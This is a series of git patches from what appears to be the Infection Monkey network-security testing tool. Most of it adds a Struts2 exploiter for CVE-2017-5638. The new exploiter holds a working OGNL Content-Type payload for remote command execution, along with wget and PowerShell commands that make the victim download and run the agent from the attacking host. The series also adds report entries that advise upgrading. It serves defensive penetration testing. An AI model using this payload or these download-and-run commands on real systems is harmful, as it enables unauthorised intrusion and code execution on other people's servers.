"sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", "dev": true, "requires": { - "has-flag": "1.0.0" + "has-flag": "3.0.0" } } } @@ -6159,7 +6083,7 @@ "normalize-package-data": { "version": "2.4.0", "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.4.0.tgz", - "integrity": "sha512-9jjUFbTPfEy3R/ad/2oNbKtW9Hgovl5O1FvFWKkKblNXoN/Oou6+9+KKohPK13Yc3/TyunyWhJp6gvRNR/PPAw==", + "integrity": "sha1-EvlaMH1YNSB1oEkHuErIvpisAS8=", "dev": true, "requires": { "hosted-git-info": "2.5.0", @@ -11050,7 +10974,7 @@ "promise": { "version": "7.3.1", "resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz", - "integrity": "sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==", + "integrity": "sha1-BktyYCsY+Q8pGSuLG8QY/9Hr078=", "requires": { "asap": "2.0.6" } @@ -11100,7 +11024,7 @@ "psl": { "version": "1.1.20", "resolved": "https://registry.npmjs.org/psl/-/psl-1.1.20.tgz", - "integrity": "sha512-JWUi+8DYZnEn9vfV0ppHFLBP0Lk7wxzpobILpBEMDV4nFket4YK+6Rn1Zn6DHmD9PqqsV96AM6l4R/2oirzkgw==" + "integrity": "sha1-NjOC8zI4iICxVeJQY0WVcIQojp0=" }, "punycode": { "version": "1.4.1", @@ -11162,7 +11086,7 @@ "randomatic": { "version": "1.1.7", "resolved": "https://registry.npmjs.org/randomatic/-/randomatic-1.1.7.tgz", - "integrity": "sha512-D5JUjPyJbaJDkuAazpVnSfVkLlpeO3wDlPROTMLGKG1zMFNFRgrciKo1ltz/AzNTkqE0HzDx655QOL51N06how==", + "integrity": "sha1-x6vpzIuHwLqodrGf3oP9RkeX44w=", "dev": true, "requires": { "is-number": "3.0.0", @@ -11467,7 +11391,7 @@ "react-router": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/react-router/-/react-router-4.2.0.tgz", - "integrity": "sha512-DY6pjwRhdARE4TDw7XjxjZsbx9lKmIcyZoZ+SDO7SBJ1KUeWNxT22Kara2AC7u6/c2SYEHlEDLnzBCcNhLE8Vg==", + "integrity": "sha1-Yfez43cNrrJAYtrj7t7xsFQVWYY=", "requires": { "history": "4.7.2", "hoist-non-react-statics": "2.3.1", @@ -11491,7 +11415,7 @@ "react-router-dom": { "version": "4.2.2", "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-4.2.2.tgz", - "integrity": "sha512-cHMFC1ZoLDfEaMFoKTjN7fry/oczMgRt5BKfMAkTu5zEuJvUiPp1J8d0eXSVTnBh6pxlbdqDhozunOOLtmKfPA==", + "integrity": "sha1-yKgd863Fi7qKdngulGy9Tq5km40=", "requires": { "history": "4.7.2", "invariant": "2.2.2", @@ -11663,7 +11587,7 @@ "redux": { "version": "3.7.2", "resolved": "https://registry.npmjs.org/redux/-/redux-3.7.2.tgz", - "integrity": "sha512-pNqnf9q1hI5HHZRBkj3bAngGZW/JMCmexDlOxw4XagXY2o1327nHH54LoTjiPJ0gizoqPDRqWyX/00g0hD6w+A==", + "integrity": "sha1-BrcxIyFZAdJdBlvjQusCa8HIU3s=", "requires": { "lodash": "4.17.4", "lodash-es": "4.17.4", @@ -11860,7 +11784,7 @@ "resolve-pathname": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/resolve-pathname/-/resolve-pathname-2.2.0.tgz", - "integrity": "sha512-bAFz9ld18RzJfddgrO2e/0S2O81710++chRMUxHjXOYKF6jTAMrUNZrEZ1PvV0zlhfjidm08iRPdTLPno1FuRg==" + "integrity": "sha1-fpriHtgV/WOrGJre7mTcgx7vqHk=" }, "restore-cursor": { "version": "1.0.1", @@ -11914,7 +11838,7 @@ "safe-buffer": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.1.tgz", - "integrity": "sha512-kKvNJn6Mm93gAczWVJg7wH+wGYWNrDHdWvpUmHyEsgCtIwwo3bqPtV4tR5tuPaUhTOo/kvhVwd8XwwOllGYkbg==", + "integrity": "sha1-iTMSr2myEj3vcfV4iQAWce6yyFM=", "dev": true }, "sax": { @@ -12249,7 +12173,7 @@ "source-map-support": { "version": "0.4.17", "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.4.17.tgz", - "integrity": "sha512-30c1Ch8FSjV0FwC253iftbbj0dU/OXoSg1LAEGZJUlGgjTNj6cu+DVqJWWIZJY5RXLWV4eFtR+4ouo0VIOYOTg==", + "integrity": "sha1-byFQVT5jdTddDMsxgFAreMGLpDA=", "dev": true, "requires": { "source-map": "0.5.6" @@ -12609,7 +12533,7 @@ "string_decoder": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz", - "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==", + "integrity": "sha1-D8Z9fBQYJd6UKC3VNr7GubzoYKs=", "dev": true, "requires": { "safe-buffer": "5.1.1" @@ -12935,7 +12859,7 @@ "value-equal": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/value-equal/-/value-equal-0.4.0.tgz", - "integrity": "sha512-x+cYdNnaA3CxvMaTX0INdTCN8m8aF2uY9BvEqmxuYp8bL09cs/kWVQPVGcA35fMktdOsP69IgU7wFj/61dJHEw==" + "integrity": "sha1-xb3S9U7gk8BIOdcc4uR1imiQq8c=" }, "vary": { "version": "1.1.1", @@ -13215,7 +13139,7 @@ "which": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/which/-/which-1.3.0.tgz", - "integrity": "sha512-xcJpopdamTuY5duC/KnTTNBraPK54YwpenP4lzxU8H91GudWpFv38u0CKjclE1Wi2EH2EDz5LRcHcKbCIzqGyg==", + "integrity": "sha1-/wS9/AEO5UfXgL7DjhrBwnd9JTo=", "dev": true, "requires": { "isexe": "2.0.0" diff --git a/monkey_island/cc/ui/package.json b/monkey_island/cc/ui/package.json index 8c2d5331f..38c8463fb 100644 --- a/monkey_island/cc/ui/package.json +++ b/monkey_island/cc/ui/package.json @@ -47,7 +47,7 @@ "karma-sourcemap-loader": "^0.3.5", "karma-webpack": "^1.7.0", "minimist": "^1.2.0", - "mocha": "^3.5.3", + "mocha": "^5.2.0", "null-loader": "^0.1.1", "open": "0.0.5", "phantomjs-prebuilt": "^2.1.16", diff --git a/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey_island/cc/ui/src/components/pages/MapPage.js index 4a54aeb8c..b4780e6cf 100644 --- a/monkey_island/cc/ui/src/components/pages/MapPage.js +++ b/monkey_island/cc/ui/src/components/pages/MapPage.js @@ -45,7 +45,7 @@ class MapPageComponent extends AuthComponent { .then(res => res.json()) .then(res => { res.edges.forEach(edge => { - edge.color = edgeGroupToColor(edge.group); + edge.color = {'color': edgeGroupToColor(edge.group)}; }); this.setState({graph: res}); this.props.onStatusChange(); From 9a8a6c6e28b95c2a6f3d9e0fab57321a169636ca Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 19 Jun 2018 18:05:09 +0300 Subject: [PATCH 10/22] Now exploiting both win and linux. Also, added check if monkey is not already present --- infection_monkey/exploit/struts2.py | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 infection_monkey/exploit/struts2.py diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py new file mode 100644 index 000000000..e69de29bb From 413bdd925447c5b919ce664f6d01d2801e014d6b Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 19 Jun 2018 18:08:52 +0300 Subject: [PATCH 11/22] Not yet functioning and tested, but most functions are done --- infection_monkey/config.py | 4 +- infection_monkey/example.conf | 3 +- infection_monkey/exploit/__init__.py | 1 + infection_monkey/exploit/struts2.py | 204 +++++++++++++++++++++++++++ monkey_island/cc/services/config.py | 10 +- 5 files changed, 218 insertions(+), 4 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index f4ca4e89e..4e87243a8 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -7,7 +7,7 @@ from abc import ABCMeta from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ - SambaCryExploiter, ElasticGroovyExploiter + SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger __author__ = 'itamar' @@ -148,7 +148,7 @@ class Configuration(object): finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger] exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux - ElasticGroovyExploiter, # multi + ElasticGroovyExploiter, Struts2Exploiter # multi ] # how many victims to look for in a single scan iteration diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index bc0156d8a..a6961331f 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -36,7 +36,8 @@ "WmiExploiter", "ShellShockExploiter", "ElasticGroovyExploiter", - "SambaCryExploiter" + "SambaCryExploiter", + "Struts2Exploiter" ], "finger_classes": [ "SSHFinger", diff --git a/infection_monkey/exploit/__init__.py b/infection_monkey/exploit/__init__.py index a05f5b079..f2d5d0c5b 100644 --- a/infection_monkey/exploit/__init__.py +++ b/infection_monkey/exploit/__init__.py @@ -41,3 +41,4 @@ from sshexec import SSHExploiter from shellshock import ShellShockExploiter from sambacry import SambaCryExploiter from elasticgroovy import ElasticGroovyExploiter +from struts2 import Struts2Exploiter diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index e69de29bb..f3a819169 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -0,0 +1,204 @@ +""" + Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 ) + code used is from https://www.exploit-db.com/exploits/41570/ + Vulnerable struts2 versions <=2.3.31 and <=2.5.10 +""" +import urllib2 +import httplib +import unicodedata +import re + +from network.tools import check_tcp_ports +import logging +from exploit import HostExploiter +from exploit.tools import get_target_monkey, get_monkey_depth +from tools import build_monkey_commandline, HTTPTools + +__author__ = "VakarisZ" + +LOG = logging.getLogger(__name__) + +ID_STRING = "M0NK3YSTRUTS2" +MONKEY_ARG = "m0nk3y" +# Commands used for downloading monkeys +POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, ) +WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, ) +# Command used to check whether host is vulnerable +CHECK_COMMAND = "echo %s" % ID_STRING +# Commands used to check for architecture +CHECK_WINDOWS = "%s && wmic os get osarchitecture" % ID_STRING +CHECK_LINUX = "%s && lscpu" % ID_STRING +# Commands used to check if monkeys already exists +EXISTS = "ls %s" + +WEB_PORTS = [80, 443, 8080] +# Timeouts if the payload is wrong +DOWNLOAD_TIMEOUT = 30 +# This is set so that we don't have to wait for monkeys' output (in seconds) +RESPONSE_TIMEOUT = 1 + + +class Struts2Exploiter(HostExploiter): + _TARGET_OS_TYPE = ['linux', 'windows'] + + def __init__(self, host): + super(Struts2Exploiter, self).__init__(host) + self._config = __import__('config').WormConfiguration + self.skip_exist = self._config.skip_exploit_if_file_exist + + def exploit_host(self): + # TODO add skip if file exists + # Initializing vars for convenience + ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS) + dropper_path_linux = self._config.dropper_target_path_linux + dropper_path_win_32 = self._config.dropper_target_path_win_32 + dropper_path_win_64 = self._config.dropper_target_path_win_64 + + if not ports: + LOG.info("All web ports are closed on %r, skipping", self.host) + return False + + for port in ports: + if port == 443: + current_host = "https://%s:%d" % (self.host.ip_addr, port) + else: + # TODO remove struts from url + current_host = "http://%s:%d/struts" % (self.host.ip_addr, port) + # Get full URL + current_host = self.get_redirected(current_host) + # Get os architecture so that we don't have to update monkey + + LOG.info("Trying to exploit with struts2") + # Check if host is vulnerable and get host os architecture + if 'linux' in self.host.os['type']: + host_arch = Struts2Exploiter.try_exploit_linux(current_host) + else: + host_arch = Struts2Exploiter.try_exploit_windows(current_host) + + if host_arch: + self.host.os['machine'] = host_arch + + if current_host and host_arch: + LOG.info("Host is exploitable with struts2 RCE vulnerability") + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + # create server for http download. + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) + if not http_path: + LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + + cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) + + # Form command according to os + if 'linux' in self.host.os['type']: + if self.skip_exist and (self.check_remote_file(current_host, dropper_path_linux)): + return True + command = WGET_HTTP % {'monkey_path': dropper_path_linux, + 'http_path': http_path, 'parameters': cmdline} + else: + if self.skip_exist and (self.check_remote_file(current_host, dropper_path_win_32) + or self.check_remote_file(current_host, dropper_path_win_64)): + return True + command = POWERSHELL_HTTP % {'monkey_path': re.escape(dropper_path_win_32), + 'http_path': http_path, 'parameters': cmdline} + + self.exploit(current_host, command) + + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + LOG.info("Struts2 exploit attempt finished") + + return True + + return False + + def check_remote_file(self, host, path): + command = EXISTS % path + resp = self.exploit(host, command) + if 'No such file' in resp: + return False + else: + LOG.info("Host %s was already infected under the current configuration, done" % self.host) + return True + + @staticmethod + def try_exploit_windows(url): + resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS) + if resp and ID_STRING in resp: + if "64-bit" in resp: + return "64" + else: + return "32" + else: + return False + + @staticmethod + def try_exploit_linux(url): + resp = Struts2Exploiter.exploit(url, CHECK_LINUX) + if resp and ID_STRING in resp: + if "x86_64" in resp: + return "64" + else: + return "32" + else: + return False + + @staticmethod + def get_redirected(url): + # Returns false if url is not right + headers = {'User-Agent': 'Mozilla/5.0'} + request = urllib2.Request(url, headers=headers) + try: + return urllib2.urlopen(request).geturl() + except urllib2.URLError: + return False + + @staticmethod + def exploit(url, cmd, timeout=None): + """ + :param url: Full url to send request to + :param cmd: Code to try and execute on host + :param timeout: How long to wait for response in seconds(if monkey is executed + it's better not to wait it's whole output + :return: response + """ + page = "" + + payload = "%{(#_='multipart/form-data')." + payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." + payload += "(#_memberAccess?" + payload += "(#_memberAccess=#dm):" + payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." + payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." + payload += "(#ognlUtil.getExcludedPackageNames().clear())." + payload += "(#ognlUtil.getExcludedClasses().clear())." + payload += "(#context.setMemberAccess(#dm))))." + payload += "(#cmd='%s')." % cmd + payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." + payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." + payload += "(#p=new java.lang.ProcessBuilder(#cmds))." + payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." + payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." + payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." + payload += "(#ros.flush())}" + # Turns payload ascii just for consistency + if isinstance(payload, unicode): + payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore') + headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload} + try: + request = urllib2.Request(url, headers=headers) + # Timeout added or else we would wait for all monkeys' output + page = urllib2.urlopen(request, timeout=timeout).read() + except AttributeError: + # If url does not exist + return False + except httplib.IncompleteRead, e: + page = e.partial + except Exception: + LOG.info("Request timed out, because monkey is still running on remote host") + + return page diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 390968a86..c3534c95c 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -80,6 +80,13 @@ SCHEMA = { ], "title": "ElasticGroovy Exploiter" }, + { + "type": "string", + "enum": [ + "Struts2Exploiter" + ], + "title": "Struts2 Exploiter" + } ] }, "finger_classes": { @@ -609,7 +616,8 @@ SCHEMA = { "SSHExploiter", "ShellShockExploiter", "SambaCryExploiter", - "ElasticGroovyExploiter" + "ElasticGroovyExploiter", + "Struts2Exploiter" ], "description": "Determines which exploits to use. " + WARNING_SIGN From 2d27972e7ed4082bfbad696f0d02d97ca0fe79a7 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 20 Jun 2018 16:58:20 +0300 Subject: [PATCH 12/22] Struts exploitation working, and tested with win-64 and ubuntu --- infection_monkey/exploit/struts2.py | 154 +++++++++++------- monkey_island/cc/resources/monkey_download.py | 15 ++ 2 files changed, 112 insertions(+), 57 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index f3a819169..be8ba8f0f 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -23,11 +23,9 @@ MONKEY_ARG = "m0nk3y" # Commands used for downloading monkeys POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, ) WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, ) -# Command used to check whether host is vulnerable -CHECK_COMMAND = "echo %s" % ID_STRING # Commands used to check for architecture -CHECK_WINDOWS = "%s && wmic os get osarchitecture" % ID_STRING -CHECK_LINUX = "%s && lscpu" % ID_STRING +CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING +CHECK_LINUX = "echo %s && lscpu" % ID_STRING # Commands used to check if monkeys already exists EXISTS = "ls %s" @@ -47,7 +45,6 @@ class Struts2Exploiter(HostExploiter): self.skip_exist = self._config.skip_exploit_if_file_exist def exploit_host(self): - # TODO add skip if file exists # Initializing vars for convenience ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS) dropper_path_linux = self._config.dropper_target_path_linux @@ -65,56 +62,15 @@ class Struts2Exploiter(HostExploiter): # TODO remove struts from url current_host = "http://%s:%d/struts" % (self.host.ip_addr, port) # Get full URL - current_host = self.get_redirected(current_host) + url = self.get_redirected(current_host) # Get os architecture so that we don't have to update monkey LOG.info("Trying to exploit with struts2") # Check if host is vulnerable and get host os architecture if 'linux' in self.host.os['type']: - host_arch = Struts2Exploiter.try_exploit_linux(current_host) + return self.exploit_linux(url, dropper_path_linux) else: - host_arch = Struts2Exploiter.try_exploit_windows(current_host) - - if host_arch: - self.host.os['machine'] = host_arch - - if current_host and host_arch: - LOG.info("Host is exploitable with struts2 RCE vulnerability") - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - # create server for http download. - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - if not http_path: - LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") - return False - LOG.info("Started http server on %s", http_path) - - cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) - - # Form command according to os - if 'linux' in self.host.os['type']: - if self.skip_exist and (self.check_remote_file(current_host, dropper_path_linux)): - return True - command = WGET_HTTP % {'monkey_path': dropper_path_linux, - 'http_path': http_path, 'parameters': cmdline} - else: - if self.skip_exist and (self.check_remote_file(current_host, dropper_path_win_32) - or self.check_remote_file(current_host, dropper_path_win_64)): - return True - command = POWERSHELL_HTTP % {'monkey_path': re.escape(dropper_path_win_32), - 'http_path': http_path, 'parameters': cmdline} - - self.exploit(current_host, command) - - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - LOG.info("Struts2 exploit attempt finished") - - return True - - return False + return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64]) def check_remote_file(self, host, path): command = EXISTS % path @@ -125,8 +81,92 @@ class Struts2Exploiter(HostExploiter): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True + def exploit_linux(self, url, dropper_path): + host_arch = Struts2Exploiter.check_exploit_linux(url) + if host_arch: + self.host.os['machine'] = host_arch + if url and host_arch: + LOG.info("Host is exploitable with struts2 RCE vulnerability") + # If monkey already exists and option not to exploit in that case is selected + if self.skip_exist and (self.check_remote_file(url, dropper_path)): + return True + + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + # create server for http download. + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) + if not http_path: + LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + + cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) + + command = WGET_HTTP % {'monkey_path': dropper_path, + 'http_path': http_path, 'parameters': cmdline} + + self.exploit(url, command, RESPONSE_TIMEOUT) + + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + LOG.info("Struts2 exploit attempt finished") + + return True + + return False + + def exploit_windows(self, url, dropper_paths): + """ + :param url: Where to send malicious request + :param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat + :return: Bool. Successfully exploited or not + """ + host_arch = Struts2Exploiter.check_exploit_windows(url) + if host_arch: + self.host.os['machine'] = host_arch + if url and host_arch: + LOG.info("Host is exploitable with struts2 RCE vulnerability") + # If monkey already exists and option not to exploit in that case is selected + if self.skip_exist: + for dropper_path in dropper_paths: + if self.check_remote_file(url, dropper_path): + return True + + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + # Select the dir and name for monkey on the host + if "windows-32" in src_path: + dropper_path = dropper_paths[0] + else: + dropper_path = dropper_paths[1] + # create server for http download. + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) + if not http_path: + LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + + cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) + + command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), + 'http_path': http_path, 'parameters': cmdline} + # TODO Add timeout + self.exploit(url, command) + + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + LOG.info("Struts2 exploit attempt finished") + + return True + + return False + @staticmethod - def try_exploit_windows(url): + def check_exploit_windows(url): resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS) if resp and ID_STRING in resp: if "64-bit" in resp: @@ -137,13 +177,13 @@ class Struts2Exploiter(HostExploiter): return False @staticmethod - def try_exploit_linux(url): + def check_exploit_linux(url): resp = Struts2Exploiter.exploit(url, CHECK_LINUX) if resp and ID_STRING in resp: - if "x86_64" in resp: - return "64" - else: - return "32" + # Pulls architecture string + arch = re.search('(?<=Architecture:)\s+(\w+)', resp) + arch = arch.group(1) + return arch else: return False @@ -162,8 +202,8 @@ class Struts2Exploiter(HostExploiter): """ :param url: Full url to send request to :param cmd: Code to try and execute on host - :param timeout: How long to wait for response in seconds(if monkey is executed - it's better not to wait it's whole output + :param timeout: How long to wait for response in seconds(if monkey is being executed + it's better not to wait it's whole output). By default we wait. :return: response """ page = "" diff --git a/monkey_island/cc/resources/monkey_download.py b/monkey_island/cc/resources/monkey_download.py index 25e67fdb2..acf92b558 100644 --- a/monkey_island/cc/resources/monkey_download.py +++ b/monkey_island/cc/resources/monkey_download.py @@ -21,6 +21,11 @@ MONKEY_DOWNLOADS = [ 'machine': 'i686', 'filename': 'monkey-linux-32', }, + { + 'type': 'linux', + 'machine': 'i386', + 'filename': 'monkey-linux-32', + }, { 'type': 'linux', 'filename': 'monkey-linux-64', @@ -35,6 +40,16 @@ MONKEY_DOWNLOADS = [ 'machine': 'amd64', 'filename': 'monkey-windows-64.exe', }, + { + 'type': 'windows', + 'machine': '64', + 'filename': 'monkey-windows-64.exe', + }, + { + 'type': 'windows', + 'machine': '32', + 'filename': 'monkey-windows-32.exe', + }, { 'type': 'windows', 'filename': 'monkey-windows-32.exe', From ef6c512ea9ef8210cd7df7294fbb69f0790ab4c6 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 20 Jun 2018 22:35:18 +0300 Subject: [PATCH 13/22] Finished up exploitation and added reporting --- infection_monkey/exploit/struts2.py | 7 ++--- monkey_island/cc/services/report.py | 11 +++++++ .../cc/ui/src/components/pages/ReportPage.js | 29 +++++++++++++++++-- 3 files changed, 41 insertions(+), 6 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index be8ba8f0f..5bd26fbb7 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -59,8 +59,7 @@ class Struts2Exploiter(HostExploiter): if port == 443: current_host = "https://%s:%d" % (self.host.ip_addr, port) else: - # TODO remove struts from url - current_host = "http://%s:%d/struts" % (self.host.ip_addr, port) + current_host = "http://%s:%d" % (self.host.ip_addr, port) # Get full URL url = self.get_redirected(current_host) # Get os architecture so that we don't have to update monkey @@ -154,8 +153,8 @@ class Struts2Exploiter(HostExploiter): command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), 'http_path': http_path, 'parameters': cmdline} - # TODO Add timeout - self.exploit(url, command) + + self.exploit(url, command, RESPONSE_TIMEOUT) http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 13b52422c..369b29c25 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -30,6 +30,7 @@ class ReportService: 'ElasticGroovyExploiter': 'Elastic Groovy Exploiter', 'Ms08_067_Exploiter': 'Conficker Exploiter', 'ShellShockExploiter': 'ShellShock Exploiter', + 'Struts2Exploiter': 'Struts2 Exploiter' } class ISSUES_DICT(Enum): @@ -41,6 +42,7 @@ class ReportService: CONFICKER = 5 AZURE = 6 STOLEN_SSH_KEYS = 7 + STRUTS2 = 8 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -290,6 +292,12 @@ class ReportService: processed_exploit['paths'] = ['/' + url.split(':')[2].split('/')[1] for url in urls] return processed_exploit + @staticmethod + def process_struts2_exploit(exploit): + processed_exploit = ReportService.process_general_exploit(exploit) + processed_exploit['type'] = 'struts2' + return processed_exploit + @staticmethod def process_exploit(exploit): exploiter_type = exploit['data']['exploiter'] @@ -302,6 +310,7 @@ class ReportService: 'ElasticGroovyExploiter': ReportService.process_elastic_exploit, 'Ms08_067_Exploiter': ReportService.process_conficker_exploit, 'ShellShockExploiter': ReportService.process_shellshock_exploit, + 'Struts2Exploiter': ReportService.process_struts2_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) @@ -419,6 +428,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True elif issue['type'] == 'ssh_key': issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True + elif issue['type'] == 'struts2': + issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index f018254b0..2a02a092d 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -23,7 +23,8 @@ class ReportPageComponent extends AuthComponent { SHELLSHOCK: 4, CONFICKER: 5, AZURE: 6, - STOLEN_SSH_KEYS: 7 + STOLEN_SSH_KEYS: 7, + STRUTS2: 8 }; Warning = @@ -321,7 +322,10 @@ class ReportPageComponent extends AuthComponent {
  • Azure machines expose plaintext passwords. (More info)
  • : null} - + {this.state.report.overview.issues[this.Issue.STRUTS2] ? +
  • Struts2 servers are vulnerable to remote code execution. ( + CVE-2017-5638)
  • : null } : @@ -671,6 +675,24 @@ class ReportPageComponent extends AuthComponent { ); } + generateStruts2Issue(issue) { + return ( +
  • + Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions. + + Struts2 server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. +
    + The attack was made possible because the server is using an old version of Jakarta based file upload + Multipart parser. For possible work-arounds and more info read here. +
    +
